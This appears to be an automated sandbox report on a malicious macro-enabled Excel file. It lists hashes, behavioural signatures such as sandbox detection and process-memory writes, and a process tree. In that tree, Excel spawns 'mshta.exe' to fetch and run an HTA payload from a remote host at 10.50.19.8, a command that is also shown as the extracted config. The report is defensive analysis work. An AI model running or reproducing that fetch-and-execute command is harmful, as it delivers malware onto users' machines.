Analysis
-
max time kernel
143s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
-
submitted
21/08/2024, 11:37
General
-
Target
b34e9ead07368f3671ccb2b4764ffe3a_JaffaCakes118.xlsm
-
Size
11KB
-
MD5
b34e9ead07368f3671ccb2b4764ffe3a
-
SHA1
54c1fd55b70a33af7187cc262969750f4e353850
-
SHA256
7d1928b33d2ecd7ad4b5abcaedcc921e12d293a60add778db4bee66f68886524
-
SHA512
88b0030b95011d8529220231d0f59195fc13c5b6501542de690f4ce6f03142e067247be6a495b6ba981c1e8f6d6753d795d62778ad460c255099d09d1907760c
-
SSDEEP
192:He8uJDU7tqtatyPF7XsjgJq0qF9tJ6+TT9SvN1ajw68q:He8sDU7t+PFu0c9tJPHQl1aoq
Malware Config
Extracted
http://10.50.19.8:8080/credit_excel.hta
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious use of SetWindowsHookEx 13 IoCs
-
Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b34e9ead07368f3671ccb2b4764ffe3a_JaffaCakes118.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\mshta.exemshta.exe http://10.50.19.8:8080/credit_excel.hta2⤵
- Process spawned unexpected child process
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD54abe4f2ef7286b9100adb134d90731f0
SHA14dca9fdb5b9f55a66892ac11a5a9d78937e76a33
SHA256a9fd0cca5a2a24d2cba2e8eea9d2d460846a1e01cedfa188e813f2ba213c9c0c
SHA5123b07406a3e73a778989c55505661325d5067ced03ebb18f52dbbb7adf864975a492c37ef0306f972409f1f1f78bdfe807a92298263c6ad1f25f3aff572fb4240
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
4KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB